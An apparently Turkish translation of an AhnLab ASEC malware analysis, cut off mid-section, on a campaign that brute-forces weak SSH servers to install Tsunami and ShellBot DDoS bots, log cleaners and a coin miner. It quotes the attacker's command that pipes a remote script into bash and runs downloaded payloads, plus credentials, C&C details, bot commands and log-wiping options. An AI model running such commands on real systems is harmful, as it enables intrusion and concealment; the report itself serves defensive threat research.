{"id":2955,"date":"2023-06-21T19:07:22","date_gmt":"2023-06-21T19:07:22","guid":{"rendered":"https:\/\/sunucucozumleri.com\/?p=2955"},"modified":"2023-06-21T19:16:19","modified_gmt":"2023-06-21T19:16:19","slug":"linux-sunucular-tehlike-altinda","status":"publish","type":"post","link":"https:\/\/sunucucozumleri.com\/blog\/linux-sunucular-tehlike-altinda\/","title":{"rendered":"Linux Sunucular Tehlike Alt\u0131nda"},"content":{"rendered":"

AhnLab G\u00fcvenlik Acil Durum M\u00fcdahale Merkezi (ASEC) k\u0131sa bir s\u00fcre \u00f6nce, yetersiz y\u00f6netilen Linux SSH sunucular\u0131na kurulan Tsunami DDoS Botundan olu\u015fan bir sald\u0131r\u0131 kampanyas\u0131 ke\u015ffetti. Tehdit akt\u00f6r\u00fc yaln\u0131zca Tsunami’yi y\u00fcklemekle kalmad\u0131, ayn\u0131 zamanda ShellBot, XMRig CoinMiner ve Log Cleaner gibi \u00e7e\u015fitli ba\u015fka k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131mlar\u0131 da y\u00fckledi.<\/p>\n

K\u00f6t\u00fc y\u00f6netilen Linux SSH sunucular\u0131na y\u00f6nelik sald\u0131r\u0131 durumlar\u0131na bak\u0131ld\u0131\u011f\u0131nda, bunlar\u0131n \u00e7o\u011fu DDoS botlar\u0131n\u0131n veya CoinMiners’\u0131n kurulumunu i\u00e7erir. DDoS botu, daha \u00f6nce ShellBot [1] ve ChinaZ DDoS Botunun [2] y\u00fcklendi\u011fi sald\u0131r\u0131 vakalar\u0131nda ASEC Blogunda ele al\u0131nm\u0131\u015ft\u0131r . XMRig CoinMiner’\u0131n kurulumu, SHC k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m\u0131 [3] ve KONO DIO DA sald\u0131r\u0131 kampanyas\u0131 [4] ile birlikte ele al\u0131nd\u0131 .<\/p>\n

Tsunami, Kaiten olarak da bilinen bir DDoS botudur. Genellikle savunmas\u0131z olan IoT cihazlar\u0131n\u0131 hedeflerken Mirai ve Gafgyt ile birlikte s\u00fcrekli olarak da\u011f\u0131t\u0131lan birka\u00e7 k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m t\u00fcr\u00fcnden biridir. Hepsinin DDoS botlar\u0131 olma ortak paydas\u0131 olsa da Tsunami, tehdit akt\u00f6r\u00fcyle ileti\u015fim kurmak i\u00e7in IRC’yi kullanan bir IRC botu gibi \u00e7al\u0131\u015fmas\u0131yla di\u011ferlerinden s\u0131yr\u0131l\u0131yor.<\/p>\n

Tsunami’nin kaynak kodu herkese a\u00e7\u0131kt\u0131r, bu nedenle \u00e7ok say\u0131da tehdit akt\u00f6r\u00fc taraf\u0131ndan kullan\u0131l\u0131r. \u00c7e\u015fitli kullan\u0131mlar\u0131 aras\u0131nda en \u00e7ok IoT cihazlar\u0131na y\u00f6nelik sald\u0131r\u0131larda kullan\u0131l\u0131r. Tabii ki, ayn\u0131 zamanda s\u00fcrekli olarak Linux sunucular\u0131n\u0131 hedeflemek i\u00e7in kullan\u0131l\u0131r. Ek olarak, XMRig CoinMiner’\u0131n Tsunami ile halka a\u00e7\u0131k bir Docker<\/a> konteynerine da\u011f\u0131t\u0131ld\u0131\u011f\u0131 duruma benzer \u015fekilde, bir bulut ortam\u0131na da da\u011f\u0131t\u0131ld\u0131klar\u0131 ba\u015fka bir vaka do\u011fruland\u0131. Ayr\u0131ca, resmi olmayan bir \u015fekilde da\u011f\u0131t\u0131lan Docker kapsay\u0131c\u0131lar\u0131na k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m dahil etmek, birincil sald\u0131r\u0131 vekt\u00f6rlerinden biridir.<\/p>\n

Bu g\u00f6nderi, bir tehdit akt\u00f6r\u00fcn\u00fcn s\u00f6zl\u00fck sald\u0131r\u0131lar\u0131 ger\u00e7ekle\u015ftirdikten sonra k\u00f6t\u00fc y\u00f6netilen SSH sunucular\u0131nda oturum a\u00e7may\u0131 ba\u015fard\u0131\u011f\u0131 ve ard\u0131ndan DDoS Botlar\u0131 ve XMRig CoinMiner’\u0131 y\u00fckledi\u011fi bir durumu ele alacakt\u0131r.<\/p>\n

1. Linux SSH Sunucular\u0131na Kar\u015f\u0131 S\u00f6zl\u00fck Sald\u0131r\u0131s\u0131
\nK\u00f6t\u00fc y\u00f6netilen hizmetler, Linux sunucular\u0131 gibi sunucu<\/a> ortamlar\u0131n\u0131 hedeflemek i\u00e7in kullan\u0131lan sald\u0131r\u0131 vekt\u00f6rlerinin ba\u015fl\u0131ca \u00f6rneklerinden biridir. Secure Shell (SSH) hizmeti \u00e7o\u011fu Linux sunucu ortam\u0131nda kuruludur, sald\u0131r\u0131lar i\u00e7in kolayca kullan\u0131labilir ve k\u00f6t\u00fc y\u00f6netime e\u011filimlidir. SSH, y\u00f6neticilerin uzaktan oturum a\u00e7mas\u0131na ve sistemi kontrol etmesine izin verir, ancak bunu yapmak i\u00e7in sisteme kay\u0131tl\u0131 kullan\u0131c\u0131 hesab\u0131nda oturum a\u00e7malar\u0131 gerekir.<\/p>\n

Bir Linux sisteminde basit hesap kimlik bilgileri (ID\/PW) kullan\u0131l\u0131yorsa, bir tehdit akt\u00f6r\u00fc kaba kuvvet veya s\u00f6zl\u00fck sald\u0131r\u0131s\u0131 yoluyla sisteme giri\u015f yaparak k\u00f6t\u00fc ama\u00e7l\u0131 komutlar y\u00fcr\u00fctmesine izin verebilir. K\u00f6t\u00fc y\u00f6netilen Linux SSH sunucular\u0131na sald\u0131r\u0131ld\u0131\u011f\u0131nda, ana sald\u0131r\u0131 y\u00f6ntemi, port taramas\u0131 yoluyla harici olarak a\u00e7\u0131\u011fa \u00e7\u0131kan SSH sunucular\u0131n\u0131 aramay\u0131 ve s\u00f6zl\u00fck sald\u0131r\u0131lar\u0131 ger\u00e7ekle\u015ftirmek ve oturum a\u00e7mak i\u00e7in bilinen hesap kimlik bilgilerini kullanmay\u0131 i\u00e7erir. Daha sonra k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m indirilir.<\/p>\n

A\u015fa\u011f\u0131daki tablo, yukar\u0131da belirtilen sald\u0131r\u0131 kampanyas\u0131ndan, sald\u0131r\u0131ya u\u011frayan adresleri kimlikleri ve \u015fifreleriyle birlikte g\u00f6steren listenin bir b\u00f6l\u00fcm\u00fcd\u00fcr.<\/p>\n

 <\/p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
ID<\/th>\nPassword<\/th>\nAttack Target<\/strong><\/th>\n<\/tr>\n<\/thead>\n
admin<\/td>\nqwe123Q#<\/td>\n124.160.40[.]48<\/td>\n<\/tr>\n
sxit<\/td>\nsxit<\/td>\n124.160.40[.]94<\/td>\n<\/tr>\n
root<\/td>\nabcdefghi<\/td>\n124.160.40[.]94<\/td>\n<\/tr>\n
root<\/td>\n123@abc<\/td>\n124.160.40[.]94<\/td>\n<\/tr>\n
weblogic<\/td>\n123<\/td>\n124.160.40[.]94<\/td>\n<\/tr>\n
rpcuser<\/td>\nrpcuser<\/td>\n124.160.40[.]94<\/td>\n<\/tr>\n
test<\/td>\np@ssw0rd<\/td>\n124.160.40[.]94<\/td>\n<\/tr>\n
nologin<\/td>\nnologin<\/td>\n124.160.40[.]94<\/td>\n<\/tr>\n
Hadoop<\/td>\np@ssw0rd<\/td>\n124.160.40[.]94<\/td>\n<\/tr>\n
hxw<\/td>\ntest123<\/td>\n124.160.40[.]94<\/td>\n<\/tr>\n
backlog<\/td>\nbacklog<\/td>\n124.160.40[.]94<\/td>\n<\/tr>\n
dell<\/td>\n123<\/td>\n124.160.40[.]94<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Table 1. Attack locations and account credentials used in the attack campaign<\/p>\n

 <\/p>\n

2. Sald\u0131r\u0131 Ak\u0131\u015f\u0131
\nBa\u015far\u0131yla oturum a\u00e7t\u0131ktan sonra, tehdit akt\u00f6r\u00fc \u00e7e\u015fitli k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131mlar\u0131 indirip \u00e7al\u0131\u015ft\u0131rmak i\u00e7in a\u015fa\u011f\u0131dakine benzer bir komut y\u00fcr\u00fct\u00fcr.<\/p>\n

# nvidia-smi \u2013list-gpus | grep 0 | cut -f2 -d: | uniq -c;nproc;ip a | grep glo;uname -a;cd \/tmp;wget -O \u2013 ddoser[.]org\/key|bash;cd \/var\/tmp;wget ddoser[.]org\/a;chmod +x a;.\/a;wget ddoser[.]org\/logo;perl logo irc.undernet.org 6667 -bash;rm -rf logo;wget ddoser[.]org\/top;tar -zxvf top;rm -rf top;cd lib32;.\/go > \/dev\/null 2>&1 &<\/code><\/p>\n

Y\u00fcklenen k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131mlar aras\u0131nda “anahtar” dosyas\u0131, ek k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131mlar y\u00fckleyen indirici tipi bir Bash beti\u011fidir. Bir indirici olman\u0131n yan\u0131 s\u0131ra, bir arka kap\u0131 SSH hesab\u0131 kurmay\u0131 da i\u00e7eren, vir\u00fcs bula\u015fm\u0131\u015f sistemlerin kontrol\u00fcn\u00fc ele ge\u00e7irmek i\u00e7in \u00e7e\u015fitli \u00f6n g\u00f6revleri yerine getirir.<\/p>\n

\"\"
\n\u015eekil 1. \u201canahtar\u201d Bash beti\u011fi
\nUzak bir SSH sunucusunda oturum a\u00e7arken, genel ve \u00f6zel anahtarlar \u00fcreterek ID ve PW olmadan oturum a\u00e7mak m\u00fcmk\u00fcnd\u00fcr. Bunu ba\u015farmak i\u00e7in, bir kullan\u0131c\u0131 genel ve \u00f6zel SSH anahtarlar\u0131 olu\u015fturabilir ve ard\u0131ndan genel anahtar\u0131n\u0131 istedi\u011fi sunucuya kaydedebilir. Daha sonra, \u00f6zel anahtar istemcide oturum a\u00e7mak i\u00e7in kullan\u0131labilir. Tehdit akt\u00f6r\u00fc, a\u015fa\u011f\u0131daki genel anahtar\u0131 “yetkili_anahtarlar” dosyas\u0131na yeni yazmak i\u00e7in bu komutu kullan\u0131r. Bunu yaparak, tehdit akt\u00f6r\u00fc daha sonra ortak anahtara kar\u015f\u0131l\u0131k gelen \u00f6zel anahtar\u0131 kullanabilir ve vir\u00fcs bula\u015fm\u0131\u015f sistemde oturum a\u00e7malar\u0131na izin verir.<\/p>\n

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzml2PeIHOUG+78TIk0lQcR5JC\/mlDElDtplEfq8KDiJFwD8z9Shhk2kG0pwzw9uUr7R24h8lnh9DWpiKfoy4MeMFrTO8akT1hXf4yn9IEEHdiq9h Vz1ZkEnUdjyzuvXGIOcRe2FqQaovFY15gSDZzJc5K6NMT8uW1aitHAsYXZDW8uh+\/SJAqcCCVUtVnZRj4nlhQxW2810CJGQQrixkkww7F\/9XRlddH3HkNuRlZLQMk5oGHTxeySKKfqo AoXgZXac9VBAPRUU+0PrBrOSWlXFbGBPJSdvDfxBqcg4hguacD1EW0\/5ORR7Ikp1i6y+gIpdydwxW51yAqrYqHI5iD<\/code><\/p>\n

Y\u00fcr\u00fct\u00fclen komut ve oturum a\u00e7t\u0131ktan sonra indirici Bash beti\u011fi arac\u0131l\u0131\u011f\u0131yla y\u00fcklenen k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131mlar a\u015fa\u011f\u0131da \u00f6zetlenmi\u015ftir. Her k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m t\u00fcr\u00fcn\u00fcn analizi de sa\u011flan\u0131r.<\/p>\n\n\n\n\n\n\n\n\n\n\n\n\n
Download URL<\/th>\nMalware<\/a><\/th>\n<\/tr>\n<\/thead>\n
ddoser[.]org\/key<\/td>\nDownloader Bash<\/td>\n<\/tr>\n
ddoser[.]org\/logo<\/td>\nShellBot DDoS Bot<\/td>\n<\/tr>\n
ddoser[.]org\/siwen\/bot<\/td>\nShellBot DDoS Bot<\/td>\n<\/tr>\n
ddoser[.]org\/siwen\/a<\/td>\nTsunami DDoS Bot<\/td>\n<\/tr>\n
ddoser[.]org\/siwen\/cls<\/td>\nMIG Logcleaner v2.0<\/td>\n<\/tr>\n
ddoser[.]org\/siwen\/clean<\/td>\n0x333shadow Log Cleaner<\/td>\n<\/tr>\n
ddoser[.]org\/siwen\/ping6<\/td>\nPrivilege escalation malware<\/td>\n<\/tr>\n
ddoser[.]org\/top<\/td>\nXMRig CoinMiner (compressed file)<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

3. K\u00f6t\u00fc Ama\u00e7l\u0131 Yaz\u0131l\u0131m Analizi
\n3.1. tsunami
\nKaiten olarak da bilinen DDoS bot k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m\u0131 olan Tsunami, kaynak kodu herkese a\u00e7\u0131k oldu\u011fundan \u00e7e\u015fitli tehdit akt\u00f6rleri taraf\u0131ndan kullan\u0131lmaktad\u0131r. Tehdit akt\u00f6rleri, daha fazla \u00f6zellik eklemek i\u00e7in genellikle mevcut Kaiten’in kaynak kodunu de\u011fi\u015ftirir ve bu sald\u0131r\u0131da kullan\u0131lan Tsunami, Kaiten’in Ziggy adl\u0131 bir \u00e7e\u015fididir. Ger\u00e7ek yard\u0131m komutunda g\u00f6sterilen a\u00e7\u0131klamalar kar\u015f\u0131la\u015ft\u0131r\u0131ld\u0131\u011f\u0131nda, bunlar kaynak koduyla ayn\u0131d\u0131r.<\/p>\n

\"\"<\/p>\n

Tsunami ikili dosyas\u0131nda yer alan yap\u0131land\u0131rma verilerine bak\u0131ld\u0131\u011f\u0131nda, tehdit akt\u00f6r\u00fcn\u00fcn ona \u201cddoser \u2013 v0.69\u201d ad\u0131n\u0131 ekledi\u011fini g\u00f6rebilirsiniz.<\/p>\n

\"\"<\/p>\n

Tsunami’nin bir \u00f6zelli\u011fi, C&C sunucular\u0131yla ileti\u015fim kurmak i\u00e7in bir IRC protokol\u00fc kullanmas\u0131d\u0131r. IRC, 1988’de geli\u015ftirilmi\u015f ger\u00e7ek zamanl\u0131 bir \u0130nternet sohbet protokol\u00fcd\u00fcr. Kullan\u0131c\u0131lar, belirli IRC sunucular\u0131n\u0131n belirli kanallar\u0131nda oturum a\u00e7ar ve ayn\u0131 kanalda oturum a\u00e7m\u0131\u015f di\u011fer kullan\u0131c\u0131larla ger\u00e7ek zamanl\u0131 olarak sohbet eder. IRC botu, C&C sunucular\u0131yla ileti\u015fim kurmak i\u00e7in bu IRC hizmetini k\u00f6t\u00fcye kullanan bir bot k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m\u0131d\u0131r.<\/p>\n

Etkilenen sisteme kurulan IRC bot, bir IRC sunucusunun IRC protokol\u00fcne g\u00f6re tehdit akt\u00f6r\u00fc taraf\u0131ndan belirlenen kanal\u0131na eri\u015fir ve ard\u0131ndan \u00e7al\u0131nan bilgileri belirtilen kanala iletir veya sald\u0131rgan belirli bir diziyi girdi\u011finde bunu al\u0131r. komut verir ve ilgili k\u00f6t\u00fc niyetli davran\u0131\u015f\u0131 ger\u00e7ekle\u015ftirir. IRC, ayr\u0131 bir C&C sunucusu ve protokol\u00fc geli\u015ftirmek zorunda kalmadan \u00f6nceden var olan bir IRC protokol\u00fcn\u00fc ve IRC sunucusunu kulland\u0131\u011f\u0131 i\u00e7in k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131mlardan tutarl\u0131 bir \u015fekilde yararland\u0131\u011f\u0131n\u0131 g\u00f6rd\u00fc.<\/p>\n

Tsunami \u00e7al\u0131\u015ft\u0131r\u0131ld\u0131\u011f\u0131nda, \u201c\/etc\/rc.local\u201d dosyas\u0131na kendi yolunu yazar ve yeniden ba\u015flatmalardan sonra bile \u00e7al\u0131\u015fmas\u0131n\u0131 sa\u011flar. Daha sonra \u00e7al\u0131\u015fmakta olan i\u015flemin ad\u0131n\u0131 \u201c[kworker\/0:0]\u201d olarak de\u011fi\u015ftirmeye \u00e7al\u0131\u015f\u0131r. Bu, normal bir i\u015flemle ayn\u0131 ad\u0131 verir ve kullan\u0131c\u0131lar\u0131n fark etmesini zorla\u015ft\u0131r\u0131r. Tsunami bu noktaya geldi\u011finde IRC sunucusuna ba\u011flan\u0131r, bir kanala kat\u0131l\u0131r ve tehdit akt\u00f6r\u00fcn\u00fcn komutlar\u0131n\u0131 bekler.<\/p>\n

Ek olarak, C&C adresi ve kanal \u015fifresi gibi bilgiler \u015fifrelenir ve kaydedilir. Tsunami, y\u00fcr\u00fct\u00fclmesi s\u0131ras\u0131nda ihtiya\u00e7 duydu\u011fu dizilerin \u015fifresini \u00e7\u00f6zer ve al\u0131r. \u0130ki C&C sunucu adresi vard\u0131r ve Tsunami ba\u011flant\u0131 kurmak i\u00e7in bunlardan birini rastgele se\u00e7er.<\/p>\n

\"\"<\/p>\n

A\u015fa\u011f\u0131daki tablo, C&C sunucu adresine dahil olan \u00e7e\u015fitli yap\u0131land\u0131rma verilerinin ayr\u0131nt\u0131lar\u0131n\u0131 vermektedir. Bir IRC sunucusuna kat\u0131l\u0131rken takma ad olarak rastgele bir dizi kullan\u0131ld\u0131\u011f\u0131n\u0131 unutmay\u0131n.<\/p>\n

 <\/p>\n\n\n\n\n\n\n\n\n\n\n\n\n
Configuration<\/th>\nData<\/th>\n<\/tr>\n<\/thead>\n
Version<\/td>\nddoser \u2013 v0.69<\/td>\n<\/tr>\n
Architectre<\/td>\nx86_64<\/td>\n<\/tr>\n
Name to disguise itself as<\/td>\n[kworker\/0:0]<\/td>\n<\/tr>\n
C&C server (IRC)<\/td>\nircx.us[.]to:53
\nircxx.us[.]to:53<\/td>\n<\/tr>\n
IRC channel name<\/td>\nddoser<\/td>\n<\/tr>\n
IRC channel password (enc_passwd)<\/td>\nbakla<\/td>\n<\/tr>\n
Activation\/deactivation password<\/td>\nnull<\/td>\n<\/tr>\n
Default HTTP server address for downloading<\/td>\nlocalhost (deactivated)<\/p>\n

 <\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\"\"<\/p>\n

Tsunami, temel IRC komutlar\u0131yla birlikte \u00e7e\u015fitli DDoS sald\u0131r\u0131 komutlar\u0131n\u0131 destekler. Ayr\u0131ca, sistem bilgisi toplama, komut y\u00fcr\u00fctme ve ters kabuk gibi vir\u00fcsl\u00fc sistemleri kontrol etmeye y\u00f6nelik \u00f6zellikler de sa\u011flar.<\/p>\n

 <\/p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
Type<\/td>\nCommand<\/td>\nFeature<\/td>\n<\/tr>\n
Remote control<\/td>\nSYSINFO<\/td>\nSystem information
\n(CPU, memory, network information, OS version, login user, Uptime<\/a>)<\/td>\n<\/tr>\n
<\/td>\nGET<\/td>\nDownload file from external source<\/td>\n<\/tr>\n
<\/td>\nUPDATE<\/td>\nUpdate bot<\/td>\n<\/tr>\n
<\/td>\nENABLE \/ DISABLE<\/td>\nActivate\/deactivate bot (password required)<\/td>\n<\/tr>\n
<\/td>\nSH \/ ISH \/ SHD \/ BASH<\/td>\nExecute shell command<\/td>\n<\/tr>\n
<\/td>\nRSHELL<\/td>\nReverse shell<\/td>\n<\/tr>\n
<\/td>\nKILL<\/td>\nTerminate<\/td>\n<\/tr>\n
DDoS attack<\/td>\nPAN \/ SYNFLOOD \/ NSSYNFLOOD<\/td>\nSYN Flood<\/td>\n<\/tr>\n
<\/td>\nACKFLOOD \/ NSACKFLOOD<\/td>\nAck Flood<\/td>\n<\/tr>\n
<\/td>\nRANDOMFLOOD<\/td>\nSyn\/Ack Flooder<\/td>\n<\/tr>\n
<\/td>\nUDP<\/td>\nUDP Flood<\/td>\n<\/tr>\n
<\/td>\nUNKNOWN<\/td>\nNon-spoof UDP Flood<\/td>\n<\/tr>\n
<\/td>\nSPOOFS<\/td>\nIP spoofing during DDoS attack<\/td>\n<\/tr>\n
<\/td>\nGETSPOOFS<\/td>\nReturn IP spoofing used during DDoS attack<\/td>\n<\/tr>\n
<\/td>\nKILLALL<\/td>\nTerminate attack<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

3.2. ShellBot
\n\u0130lk y\u00fcr\u00fctme komutu ve Bash indirici “anahtar\u0131” arac\u0131l\u0131\u011f\u0131yla y\u00fcklenen “bot” ve “logo” asl\u0131nda ayn\u0131 ShellBot k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m\u0131d\u0131r. ShellBot, Perl’de geli\u015ftirilmi\u015f bir DDoS botudur ve ayn\u0131 zamanda Tsunami gibi IRC protokol\u00fcn\u00fc kullanan bir IRC Botudur. Daha \u00f6nce ASEC Blogunda, k\u00f6t\u00fc y\u00f6netilen Linux SSH sunucular\u0131na sald\u0131rmak i\u00e7in kullan\u0131lan ShellBot k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m\u0131 kategorize edilmi\u015f ve analiz edilmi\u015fti. [5] Bu sald\u0131r\u0131da kullan\u0131lan ShellBot su\u015flar\u0131, \u00f6nceki g\u00f6nderide ele al\u0131nanlar\u0131n hi\u00e7biriyle ayn\u0131 de\u011fildir, ancak inkar edilemez bir \u015fekilde ShellBot’un varyantlar\u0131d\u0131r.<\/p>\n

Bu sald\u0131r\u0131da kullan\u0131lan ShellBot’lar\u0131n t\u00fcm\u00fc, C&C sunucu adresini ve port numaras\u0131n\u0131 arg\u00fcman olarak alarak \u00e7al\u0131\u015f\u0131r. Sald\u0131r\u0131da kullan\u0131lan C&C sunucu adreslerinin listesi a\u015fa\u011f\u0131dad\u0131r.<\/p>\n\n\n\n\n\n\n\n\n\n
ShellBot<\/th>\nIRC\u00a0<\/strong>Server Address<\/th>\n<\/tr>\n<\/thead>\n
logo<\/td>\nirc.undernet[.]org:6667<\/td>\n<\/tr>\n
bot<\/td>\nircx.us[.]to:6667<\/td>\n<\/tr>\n
bot<\/td>\nirc.dal[.]net:6667<\/td>\n<\/tr>\n
bot<\/td>\nirc.undernet[.]org:6667<\/td>\n<\/tr>\n
bot<\/td>\nircx.us[.]to:20<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Di\u011fer ShellBot’lara benzer \u015fekilde, tuttuklar\u0131 listeden bir takma ad se\u00e7ilir. Kanalda komut verebilmek i\u00e7in admin k\u0131l\u0131\u011f\u0131nda kanala giren tehdit akt\u00f6r\u00fcn\u00fcn rumuz ve host adresi do\u011frulan\u0131r. IRC kanal\u0131, Tsunami k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m\u0131 “#ddoser” ile ayn\u0131 ad\u0131 kullan\u0131r.<\/p>\n

\"\"<\/p>\n

 <\/p>\n

\n\n\n\n\n\n\n\n\n\n\n\n
ShellBot<\/th>\nConfiguration<\/th>\nData<\/th>\n<\/tr>\n<\/thead>\n
Both<\/td>\nChannel name<\/td>\nddoser, #packeter<\/td>\n<\/tr>\n
Both<\/td>\nChannel password<\/td>\ns6x<\/td>\n<\/tr>\n
Both<\/td>\nNickname<\/td>\n(multiple)<\/td>\n<\/tr>\n
bot<\/td>\nChannel admin\u2019s nickname<\/td>\n\u201cJanroe\u201d,\u201dthief\u201d,\u201deXploiter\u201d,\u201dBolero\u201d,\u201dJanr0e\u201d,\u201dnobody\u201d<\/td>\n<\/tr>\n
logo<\/td>\nChannel admin\u2019s nickname<\/td>\n\u201cJanroe\u201d,\u201dthief\u201d,\u201deXploiter\u201d,\u201demperor\u201d,\u201dnobody\u201d<\/td>\n<\/tr>\n
bot<\/td>\nChannel admin\u2019s host<\/td>\n\u201cexploiter.users.undernet[.]org\u201d,
\n\u201cJanroe.users.undernet[.]org\u201d,
\n\u201cddoser.users.undernet[.]org\u201d,
\n\u201cddoser[.]de\u201d,\u201dddoser[.]org\u201d<\/td>\n<\/tr>\n
logo<\/td>\nChannel admin\u2019s host<\/td>\n\u201cexploiter.users.undernet[.]org\u201d,
\n\u201ctheft.users.undernet[.]org\u201d,
\n\u201cJanroe.users.undernet[.]org\u201d,
\n\u201cddoser[.]org\u201d,\u201dddoser[.]de\u201d<\/td>\n<\/tr>\n<\/tbody>\n<\/table>
Table 6. Configuration data of ShellBot<\/figcaption><\/figure>\n

ShellBot, ba\u011flant\u0131 noktas\u0131 taramay\u0131, temel DDoS sald\u0131r\u0131lar\u0131n\u0131 ve ters kabuklar\u0131 destekler.<\/p>\n

\n\n\n\n\n\n\n\n\n\n
Command<\/th>\nFeature<\/th>\n<\/tr>\n<\/thead>\n
portscan<\/td>\nPort scan<\/td>\n<\/tr>\n
udpflood<\/td>\nUDP Flood<\/td>\n<\/tr>\n
tcpflood<\/td>\nTCP Flood<\/td>\n<\/tr>\n
httpflood<\/td>\nHTTP Flood<\/td>\n<\/tr>\n
back<\/td>\nReverse shell<\/td>\n<\/tr>\n<\/tbody>\n<\/table>
<\/figcaption><\/figure>\n

3.3. G\u00fcnl\u00fck Temizleyici
\nLog Cleaner k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m\u0131, tehdit akt\u00f6r\u00fc taraf\u0131ndan y\u00fcklenen k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131mlar aras\u0131nda yer al\u0131r. Linux sunucu ortamlar\u0131nda, kullan\u0131c\u0131lar\u0131n veya tehdit akt\u00f6rlerinin faaliyetlerini kaydeden \u00e7e\u015fitli t\u00fcrde g\u00fcnl\u00fck dosyalar\u0131 vard\u0131r. G\u00fcnl\u00fck Temizleyici, bu g\u00fcnl\u00fck dosyalar\u0131ndaki belirli g\u00fcnl\u00fcklerin silinmesini veya de\u011fi\u015ftirilmesini sa\u011flayan bir ara\u00e7t\u0131r. Tehdit akt\u00f6r\u00fcn\u00fcn, ihlallerinin sonraki analizlerini engellemek amac\u0131yla Log Cleaner’\u0131 y\u00fckledi\u011fine inan\u0131l\u0131yor.<\/p>\n

Y\u00fcklenen dosyalar aras\u0131nda \u201ccls\u201d, \u201cMIG Logcleaner v2.0\u201d ve \u201cclean\u201d, \u201c0x333shadow Log Cleaner\u201d dir. Yeni ba\u015flayanlar i\u00e7in MIG LogCleaner, Linux, Unix ve BSD sistemlerinden istenen g\u00fcnl\u00fckleri silmek i\u00e7in a\u015fa\u011f\u0131da g\u00f6sterilenler gibi \u00e7e\u015fitli se\u00e7enekleri ba\u011f\u0131ms\u0131z de\u011fi\u015fken olarak alma yetene\u011fine sahiptir.<\/p>\n

\"\"<\/p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
Argument<\/th>\nDescription<\/th>\n<\/tr>\n<\/thead>\n
[-u <user>]<\/td>\nUser name<\/td>\n<\/tr>\n
[-n <n>]<\/td>\nNumber of entries to delete. The default is 1. 0 will select all.<\/td>\n<\/tr>\n
[-D <dir>]<\/td>\nBase log directory (Default is \/var\/log\/)<\/td>\n<\/tr>\n
[-a <string1>]<\/td>\nIP string to remove from files within the log directory<\/td>\n<\/tr>\n
[-b <string2>]<\/td>\nDomain<\/a> string to remove from files within the log directory<\/td>\n<\/tr>\n
[-R]<\/td>\nReplace Mode<\/td>\n<\/tr>\n
[-A]<\/td>\nAdd Mode<\/td>\n<\/tr>\n
[-U <user>]<\/td>\nUser name to change or add in Replace or Add Mode<\/td>\n<\/tr>\n
[-H <host>]<\/td>\nHost name to change or add in Replace or Add Mode<\/td>\n<\/tr>\n
[-I <n>]<\/td>\nLogin time to change or add in Replace or Add Mode<\/td>\n<\/tr>\n
[-O <n>]<\/td>\nLogout time to change or add in Replace or Add Mode<\/td>\n<\/tr>\n
[-T <tty>]<\/td>\ntty to add in Add Mode<\/td>\n<\/tr>\n
[-d]<\/td>\nRun in debug mode<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Bir Linux ortam\u0131nda oturum a\u00e7m\u0131\u015f kullan\u0131c\u0131lara ili\u015fkin g\u00fcnl\u00fck dosyalar\u0131 a\u015fa\u011f\u0131daki gibidir ve tehdit akt\u00f6rleri bu g\u00fcnl\u00fck dosyalar\u0131n\u0131 manip\u00fcle ederek oturum a\u00e7ma kay\u0131tlar\u0131n\u0131 silebilir veya de\u011fi\u015ftirebilir.<\/p>\n\n\n\n\n\n\n\n
<\/th>\nPath<\/th>\nDetails<\/th>\nCommand<\/th>\n<\/tr>\n<\/thead>\n
utmp<\/td>\n\/var\/run\/utmp (Linux)
\n\/var\/adm\/utmpx (Solaris)<\/td>\n		Information of currently logged-in user<\/td>\nw, who, finger<\/td>\n<\/tr>\n
wtmp<\/td>\n\/var\/log\/wtmp (Linux)
\n\/var\/adm\/wtmpx (Solaris)<\/td>\n		Login\/logout information<\/td>\nlast<\/td>\n<\/tr>\n
last log<\/td>\n\/var\/log\/lastlog (Linux)
\n\/var\/adm\/lastlog (Solaris)<\/td>\n		Information of last successful login<\/td>\nlastlog (Linux)
\nfinger (Solaris)<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u00c7e\u015fitli g\u00fcnl\u00fck dosyalar\u0131 MIG LogCleaner arac\u0131l\u0131\u011f\u0131yla de\u011fi\u015ftirilebilir. \u00d6rne\u011fin, belirli bir dizeye sahip sat\u0131rlar\u0131 silebilir, dizeyi de\u011fi\u015ftirebilir veya yeni bir dize ekleyebilir. Ayr\u0131ca, bir giri\u015f kayd\u0131 eklemek i\u00e7in a\u015fa\u011f\u0131daki gibi bir komut kullan\u0131labilir.<\/p>\n

\"\"<\/p>\n

Birlikte y\u00fcklenen \u201c0x333shadow Log Cleaner\u201d ayn\u0131 \u00f6zelliklere sahiptir.<\/p>\n

\"\"
\n3.4. Ayr\u0131cal\u0131k Y\u00fckseltme K\u00f6t\u00fc Ama\u00e7l\u0131 Yaz\u0131l\u0131m\u0131
